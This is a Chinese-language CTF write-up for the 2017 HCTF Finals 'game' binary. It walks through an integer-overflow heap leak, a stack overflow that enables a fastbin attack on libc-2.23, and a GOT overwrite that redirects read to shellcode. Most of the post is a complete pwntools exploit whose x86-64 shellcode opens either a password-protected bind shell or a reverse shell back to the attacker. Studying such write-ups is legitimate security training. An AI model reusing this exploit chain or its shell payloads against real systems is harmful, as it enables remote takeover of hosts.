2017 HCTF Finals game writeup 发表于 2017-12-20 | 分类于 漏洞利用 | 1 条评论 首先是信息泄露,在复制数据时当剩下的数据长度比需要的小时就不会进行复制 ```c __int64 __fastcall copy_by_size(handle_message *handle_message, char *buf, unsigned int size) { __int64 result; // rax@1 char *v4; // rdi@3 int v5; // eax@3 handle_message *v6; // [sp+Ch] [bp-18h]@1 unsigned int i; // [sp+20h] [bp-4h]@2 v6 = handle_message; result = handle_message->size - size; if ( handle_message->offset <= (unsigned int)result ) { for ( i = 0; ; ++i ) { result = i; if ( i >= size ) break; v4 = v6->content; v5 = v6->offset; v6->offset = v5 + 1; buf[i] = v4[v5]; } } return result; } ``` 当反序列化类型为666子类型为1时,有一个整数溢出的漏洞,通过构造合适的大小,在`malloc`后实际不进行复制,由于未初始化就可以泄露堆上的信息,例如堆地址等 ```c type_666_1 *__fastcall unserialize_666_1(__int64 buf, int size_1) { handle_message *ptr; // [sp+18h] [bp-18h]@1 type_666_1 *v4; // [sp+20h] [bp-10h]@1 unsigned int size; // [sp+2Ch] [bp-4h]@2 v4 = malloc(0x20uLL); ptr = new_handle_message(buf, size_1); v4->type = get_dword(ptr); v4->flag = get_dword(ptr); v4->num1 = get_dword(ptr); v4->num2 = get_dword(ptr); v4->content2 = malloc((v4->num1 * v4->num2) >> 3); copy_by_size(ptr, v4->content2, (v4->num1 * v4->num2) >> 3); if ( v4->flag ) size = 4 * v4->num1 * v4->num2; else size = (v4->num1 * v4->num2) >> 3; v4->content1 = malloc(size); copy_by_size(ptr, v4->content1, size); free(ptr); return v4; } ``` 之后在游戏胜利后有一个明显的栈上的缓冲区溢出漏洞,可以覆盖`free`时的参数的低2个字节。我是先`free`出一个`0x70`大小的fastbin,再覆盖`free`时的参数的低2个字节`free`出一个覆盖之前`0x70`大小fastbin的overlapping unsorted bin来进行fastbin attack,这里还需要过`_int_free`时的检查 ![image.png-130.5kB][1] 然后再`malloc`一个`0x90`大小的堆块分配到之前的unsorted bin,覆盖`0x70`大小fastbin的`fd`为`0x60505d`,`libc-2.23`下这个位置刚好可以伪造一个`0x0000007f`大小的fastbin ![屏幕快照 2017-12-19 下午11.26.44.png-121.6kB][2] `got`表上也可以找到`0x00000060`,但在申请fastbin时有一个检查,由于在线程中用的是thread arena,线程中用`0x60`大小在检测所属arena是否正确时会导致失败,`0x7f`大小的堆块由于是mmapped的,也不属于main arena,因此可以过这个检查 ```c assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); ``` 这时再`malloc`两次`0x60`大小的堆块就可以得到地址为`0x60505d`的堆块 ![屏幕快照 2017-12-19 下午11.48.55.png-84.4kB][3] 最后覆盖`got`表上的`read`地址为shellcode地址来执行shellcode ![屏幕快照 2017-12-19 下午11.54.36.png-104.3kB][4] ```python from pwn import * import sys import time import struct import socket VERBOSE = 0 BIND = 1 context.arch = 'amd64' if VERBOSE: context.log_level = 'debug' ip = '127.0.0.1' port = 12000 if BIND: listen_port = 8000 password = 'bird' else: local_ip = '127.0.0.1' io = remote(ip, port) def ip2int(addr): return struct.unpack("!I", socket.inet_aton(addr))[0] def send_type_7(content): global io io.send(p32(7)) io.send(p32(4+len(content))) io.send(p32(len(content)) + content) io.send(p32(0)) def send_type_6(ch): global io io.send(p32(6)) io.send(p32(1)) io.send(ch) io.send(p32(0)) def send_type_666_1(id2, num0, flag, num1, num2): global io io.send(p32(666)) io.send(p32(4*6)) io.send(p32(id2) + p32(16) + p32(num0) + p32(flag) + p32(num1) + p32(num2)) io.send(p32(0)) send_type_6(' ') send_type_7('A' * 0x100) send_type_7('A' * 0x100) send_type_666_1(0, 0, 0, 6, 8) io.recvuntil('\x06\x00\x00\x00\x08\x00\x00\x00') leak_heap_addr = u64(io.recvn(6) + '\x00\x00') heap_base = leak_heap_addr - 0xa8 log.info("leak_heap_addr:%#x" % leak_heap_addr) log.info("heap_base:%#x" % heap_base) io.close() io = remote(ip, port) send_type_7('A' * 0x808 + '\x40\x1a\x00') send_type_6(' ') io.send(p32(666)) payload = p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(0x37) + p32(0) + p32(0xa5) + p32(0) + p32(0xa5) + p32(0x00) + p32(0x95) + p32(0) payload = p32(0) + p32(len(payload)) + payload io.send(p32(len(payload))) io.send(payload) io.send(p32(0)) send_type_6(' ') time.sleep(1) io.send(p32(1)) payload = '\x00' * 0x40 + p64(0) + p64(0x75) + p64(0x60505d) payload = payload.ljust(0x90, '\x00') io.send(p32(len(payload))) io.send(payload) io.send(p32(0)) time.sleep(1) io.send(p32(1)) if BIND: # 96 bytes shellcode = "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02" + p16(listen_port, endian='big') + "\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x5e\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x50\x5f\x54\x5e\x31\xc0\x0f\x05\x81\x3c\x24" + password + "\x75\x1f\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05" else: # 84 bytes l = listen(bindaddr=local_ip) shellcode = "\x68" + p32(ip2int(local_ip), endian='big') + "\x66\x68" + p16(l.lport, endian='big') + "\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05" shellcode = shellcode.ljust(0x60, '\x90') io.send(p32(len(shellcode))) io.send(shellcode) io.send(p32(0)) time.sleep(1) io.send(p32(1)) payload = '\x00' * 3 + p64(heap_base + 0x1a90) io.send(p32(0x60)) io.send(payload) time.sleep(1) if BIND: io = remote(ip, listen_port) io.send(password) io.interactive() else: _ = l.wait_for_connection() l.interactive() ``` [1]: http://static.zybuluo.com/birdg0/3dksz6rfrid5x1p40xu6kc4x/image.png [2]: http://static.zybuluo.com/birdg0/auip5iiv8qvsdie9ixmvfics/%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202017-12-19%20%E4%B8%8B%E5%8D%8811.26.44.png [3]: http://static.zybuluo.com/birdg0/sdu6n8c4dzokixozyjyuewz2/%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202017-12-19%20%E4%B8%8B%E5%8D%8811.48.55.png [4]: http://static.zybuluo.com/birdg0/2m0i5lm6cb231q4uqrjrtjv9/%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202017-12-19%20%E4%B8%8B%E5%8D%8811.54.36.png
Many thanks! I like it!